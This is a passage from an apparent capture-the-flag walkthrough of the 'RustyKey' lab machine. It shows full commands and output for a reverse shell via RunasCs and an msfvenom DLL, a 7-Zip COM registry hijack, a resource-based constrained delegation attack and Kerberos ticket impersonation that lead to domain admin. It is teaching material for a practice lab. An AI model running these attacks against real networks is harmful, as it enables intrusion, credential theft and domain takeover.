[-] Support removed from Protected Objects

❯ KRB5CCNAME=IT-Computer3\$.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" bloodyAD -k --host dc.rustykey.htb -d rustykey.htb set password 'ee.reed' 'GunZF0x123!'

[+] Password changed successfully!

❯ faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" impacket-getTGT rustykey.htb/'ee.reed':'GunZF0x123!' -dc-ip 10.129.136.108

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in ee.reed.ccache

❯ KRB5CCNAME=ee.reed.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" nxc smb dc.rustykey.htb -k --use-kcache

SMB         dc.rustykey.htb 445    dc               [*]  x64 (name:dc) (domain:rustykey.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.rustykey.htb 445    dc               [-] RUSTYKEY.HTB\ from ccache STATUS_LOGON_TYPE_NOT_GRANTED

However, we get STATUS_LOGON_TYPE_NOT_GRANTED when we check if this ticket is valid.

Based on Microsoft documentation, this means that this user does not have permission to log into the victim machine. Therefore, one option is to use the session from bb.morgan with evil-winrm and pivot internally. For this purpose we can use RunasCs (which can be downloaded from its Github repository). Download the executable and upload it to the victim machine using upload function from evil-winrm. In my case, I like to upload files in one of the directories pointed at UltimateLockerByPassList.

*Evil-WinRM* PS C:\Users\bb.morgan\Documents> upload RunasCs.exe C:\\Windows\\System32\\spool\\drivers\\color\\runascs.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/RustyKey/content/RunasCs.exe to C:\Windows\System32\spool\drivers\color\runascs.exe

Data: 68948 bytes of 68948 bytes copied

Info: Upload successful!

Don’t forget to change ee.reed password:

❯ KRB5CCNAME=IT-Computer3\$.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" bloodyAD -k --host dc.rustykey.htb -d rustykey.htb set password 'ee.reed' 'GunZF0x123!'

[+] Password changed successfully!

Start a listener with netcat along with rlwrap:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

and use RunasCs to log in as ee.reed user:

*Evil-WinRM* PS C:\Users\bb.morgan\Documents> C:\Windows\System32\spool\drivers\color\runascs.exe ee.reed GunZF0x123! cmd.exe -r 10.10.16.80:443 -t 10

[*] Warning: User profile directory for user ee.reed does not exists. Use --force-profile if you want to force the creation.
[*] Warning: The logon for user 'ee.reed' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-215625b$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 8948 created in background.

We get a shell as ee.reed user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.80] from (UNKNOWN) [10.129.136.108] 61990
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
rustykey\ee.reed

The PDF mentions extraction/compression issues and context menu actions, so we should search for context menu actions with tools such as 7zip. For this purpose, we can swap to a PowerShell and search for registries linked to this context:

C:\Windows\system32>powershell

powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> Get-Item "Registry::HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\7-Zip"
Get-Item "Registry::HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\7-Zip"


    Hive: HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers


Name                           Property
----                           --------
7-Zip                          (default) : {23170F69-40C1-278A-1000-000100020000}


    Hive: HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers


Name                           Property
----                           --------
7-Zip                          (default) : {23170F69-40C1-278A-1000-000100020000}


    Hive: HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers


Name                           Property
----                           --------
7-Zip                          (default) : {23170F69-40C1-278A-1000-000100020000}

This returns {23170F69-40C1-278A-1000-000100020000}.

Which means the registry we are looking for is:

HKLM:\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}

This registry is known for 7-Zip and searching for it we find this forum giving it.

Check registries subkeys at this registry:

PS C:\Windows\system32> Get-ChildItem "HKLM:\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}"

Get-ChildItem "HKLM:\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}"


    Hive: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}


Name                           Property
----                           --------
InprocServer32                 (default)      : C:\Program Files\7-Zip\7-zip.dll
                               ThreadingModel : Apartment

We get a subkey called InprocServer32.

In summary, this means that a task could be executing the 7-Zip to compress file. We search for a registry linked to this task and find a subkey called InprocServer32. This subkey is executing a .dll file C:\Program Files\7-Zip\7-zip.dll. We can check permissions over this .dll file using icacls:

C:\Program Files\7-Zip\7-zip.dll NT AUTHORITY\SYSTEM:(I)(F)
                                 BUILTIN\Administrators:(I)(F)
                                 BUILTIN\Users:(I)(RX)
                                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Nevertheless, here attempting a DLL hijacking is not possible. Since, as ee.reed user, we do not have permissions to write on this file. Only execute or read it. Only members of Administrators group or nt authority/system can overwrite this file.

However, as members of Support users we do can modify the registry since we have FullControl over it:

PS C:\Windows\system32> $regPath="HKLM:\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32"

PS C:\Windows\system32> (Get-Acl $regPath).Access | Format-Table IdentityReference, RegistryRights, AccessControlType

IdentityReference                                      RegistryRights AccessControlType
-----------------                                      -------------- -----------------
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES        ReadKey             Allow
BUILTIN\Administrators                                    FullControl             Allow
CREATOR OWNER                                             FullControl             Allow
RUSTYKEY\Support                                          FullControl             Allow
NT AUTHORITY\SYSTEM                                       FullControl             Allow
BUILTIN\Administrators                                    FullControl             Allow
BUILTIN\Users                                                 ReadKey             Allow

This means that we could change the .dll file InprocServer32 is pointing to, and use it to execute a malicious .dll.

In our attacker machine, create a malicious .dll file using msfvenom:

❯ msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.80 LPORT=443 -f dll -o rev.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: rev.dll

Upload the generated .dll file to the target machine using upload function from bb.morgan’s session with evil-winrm:

*Evil-WinRM* PS C:\Users\bb.morgan\Documents> upload rev.dll C:\\Windows\\System32\\spool\\drivers\\color\\rev.dll

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/RustyKey/content/rev.dll to C:\Windows\System32\spool\drivers\color\rev.dll

Data: 12288 bytes of 12288 bytes copied

Info: Upload successful!

Start a listener on port 443 in our attacker machine with netcat.

At ee.morgan session, change the .dll file InprocSystem32 is pointing to:

PS C:\Windows\system32> $targetRegistry = 'HKLM:\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32'

PS C:\Windows\system32> Set-ItemProperty -Path $targetRegistry -Name '(default)' -Value 'C:\Windows\System32\spool\drivers\color\rev.dll'

After some time, we get a shell as mm.turner user:

❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.80] from (UNKNOWN) [10.129.136.108] 60706
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows>whoami

whoami
rustykey\mm.turner

Back to Bloodhound, we see what mm.turner user can do:

RustyKey 8

We have AddAllowedToAct permission. This allow us to perform a Resource-based Constrained Delegation (RBCD) attack over the domain. First, at mm.turner session, swap from a CMD to PowerShell:

C:\Windows> powershell

Now, to perform a RBCD attack from Windows we need 3 tools: PowerMad, PowerView and Rubeus. Pass this file from our attacker machine to the victim machine uploading them using bb.morgan’s session with evil-winrm:

*Evil-WinRM* PS C:\Users\bb.morgan\Documents> upload Powermad.ps1 C:\\Windows\\System32\\spool\\drivers\\color\\Powermad.ps1

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/RustyKey/content/Powermad.ps1 to C:\Windows\System32\spool\drivers\color\Powermad.ps1

Data: 180768 bytes of 180768 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> upload PowerView.ps1 C:\\Windows\\System32\\spool\\drivers\\color\\PowerView.ps1

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/RustyKey/content/PowerView.ps1 to C:\Windows\System32\spool\drivers\color\PowerView.ps1

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> upload Rubeus.exe C:\\Windows\\System32\\spool\\drivers\\color\\Rubeus.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/RustyKey/content/Rubeus.exe to C:\Windows\System32\spool\drivers\color\Rubeus.exe

Data: 620544 bytes of 620544 bytes copied

Info: Upload successful!

Use PowerMad to add a machine in the domain. But this does not work since, apparently, we cannot add machines to the domain.

PS C:\Windows> New-MachineAccount -MachineAccount GUNZFOX -Password $(ConvertTo-SecureString "GunZf0x123!" -AsPlainText -Force)

[-] Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."

We confirm it reading machineAccountQuota parameter for our user, which is set to 0:

PS C:\Windows> Get-ADObject -SearchBase (Get-ADDomain).DistinguishedName -LDAPFilter "(objectClass=domainDNS)" -Properties ms-DS-MachineAccountQuota | Select-Object Name, 'ms-DS-MachineAccountQuota'

Name     ms-DS-MachineAccountQuota
----     -------------------------
rustykey                         0

However, since we already have impersonated a machine account (IT-Computer3$), we could use that machine account to perform the RBCD attack. We could also use PowerView.ps1 to perform this attack. Import it and get the SID for the IT-Computer3 machine and enable it to perform a Constrained Delegation over DC machine:

PS C:\Windows> Import-Module C:\Windows\System32\spool\drivers\color\PowerView.ps1

PS C:\Windows> $addedMachine = 'IT-Computer3' ; $DCMachine = 'DC'

PS C:\Windows> $ComputerSid = Get-DomainComputer $addedMachine -Properties objectsid | Select -Expand objectsid ; $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" ; $SDBytes = New-Object byte[] ($SD.BinaryLength) ; $SD.GetBinaryForm($SDBytes, 0) ; Get-DomainComputer $DCMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=RUSTYKEY,DC=HTB
VERBOSE: [Get-DomainObject] Extracted domain 'rustykey.htb' from 'CN=DC,OU=Domain Controllers,DC=rustykey,DC=htb'
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=rustykey,DC=htb
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=DC,OU=Domain
Controllers,DC=rustykey,DC=htb)))
VERBOSE: [Set-DomainObject] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0
36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 15 56 167 197
143 221 110 53 196 10 185 246 101 4 0 0' for object 'DC$'

Now, we need the NT hash for IT-Computer3$ account. We can pass from a plain text password to an NT (or RC4) hash in our attacker machine running:

❯ echo -n 'Rusty88!' | iconv -t utf16le | openssl dgst -md4 | awk '{print $2}'

b52b582f02f8c0cd6320cd5eab36d9c6

or using Rubeus in the victim machine we can also extract this hash:

PS C:\Windows> C:\Windows\System32\spool\drivers\color\Rubeus.exe hash /password:Rusty88! /user:IT-Computer3$ /domain:rustykey.htb

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Calculate Password Hash(es)

[*] Input password             : Rusty88!
[*] Input username             : IT-Computer3$
[*] Input domain               : rustykey.htb
[*] Salt                       : RUSTYKEY.HTBhostit-computer3.rustykey.htb
[*]       rc4_hmac             : B52B582F02F8C0CD6320CD5EAB36D9C6
[*]       aes128_cts_hmac_sha1 : 0E14A9E6FD52AB14E36703C1A4C542E3
[*]       aes256_cts_hmac_sha1 : 7871B89896813D9E4A732A35706FE44F26650C3DA47E8DB4F18B21CFBB7FBECB
[*]       des_cbc_md5          : F7025180CD23E5F1

If we request a ticket for Administrator user, it fails. However, there is a backupadmin user, who is a member of Enterprise Admins group:

PS C:\Windows> Get-DomainGroupMember -Identity 'Enterprise Admins' -domain rustykey.htb


GroupDomain             : rustykey.htb
GroupName               : Enterprise Admins
GroupDistinguishedName  : CN=Enterprise Admins,CN=Users,DC=rustykey,DC=htb
MemberDomain            : rustykey.htb
MemberName              : backupadmin
MemberDistinguishedName : CN=backupadmin,CN=Users,DC=rustykey,DC=htb
MemberObjectClass       : user
MemberSID               : S-1-5-21-3316070415-896458127-4139322052-3601

GroupDomain             : rustykey.htb
GroupName               : Enterprise Admins
GroupDistinguishedName  : CN=Enterprise Admins,CN=Users,DC=rustykey,DC=htb
MemberDomain            : rustykey.htb
MemberName              : Administrator
MemberDistinguishedName : CN=Administrator,CN=Users,DC=rustykey,DC=htb
MemberObjectClass       : user
MemberSID               : S-1-5-21-3316070415-896458127-4139322052-500

We can then attempt a S4U2Self with Rubeus through a Constrained Delegation using IT-Computer3 machine account to impersonate backupadmin user, which works:

PS C:\Windows> C:\Windows\System32\spool\drivers\color\Rubeus.exe s4u /user:IT-Computer3$ /rc4:B52B582F02F8C0CD6320CD5EAB36D9C6 /impersonateuser:backupadmin /msdsspn:cifs/dc.rustykey.htb /nowrap

<SNIP>
[*] Impersonating user 'backupadmin' to target SPN 'cifs/dc.rustykey.htb'
[*] Building S4U2proxy request for service: 'cifs/dc.rustykey.htb'
[*] Using domain controller: dc.rustykey.htb (fe80::7477:fb69:99e6:59b0%11)
[*] Sending S4U2proxy request to domain controller fe80::7477:fb69:99e6:59b0%11:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.rustykey.htb':

      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

We have a ticket in base64.

Copy the ticket in base64 and save it in our attacker machine:

❯ echo -n 'doIGfjCCB<SNIP>2V5Lmh0Yg==' > backupadmin_b64_ticket

Then, pass the ticket encoded in base64 to a .kirbi file after decoding it:

❯ base64 -d backupadmin_b64_ticket > backupadmin_ticket.kirbi

And use impacket-ticketConverter to pass from a .kirbi file (used by Windows) file to a .ccache file (used by Linux):

❯ impacket-ticketConverter backupadmin_ticket.kirbi backupadmin_ticket.ccache

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done

We can check if this ticket is used for a privileged user:

❯ KRB5CCNAME=backupadmin_ticket.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" nxc smb dc.rustykey.htb -k --use-kcache

SMB         dc.rustykey.htb 445    dc               [*]  x64 (name:dc) (domain:rustykey.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.rustykey.htb 445    dc               [+] RUSTYKEY.HTB\backupadmin from ccache (Pwn3d!)

We get Pwn3d! message. GG.

We can use this ticket along with a tool such as wmiexec.py from Impacket to gain access to the target machine as backupadmin:

❯ KRB5CCNAME=backupadmin_ticket.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" impacket-wmiexec -k -no-pass dc.rustykey.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

rustykey\backupadmin

We can grab the flag at Administrator’ Desktop.

~Happy Hacking.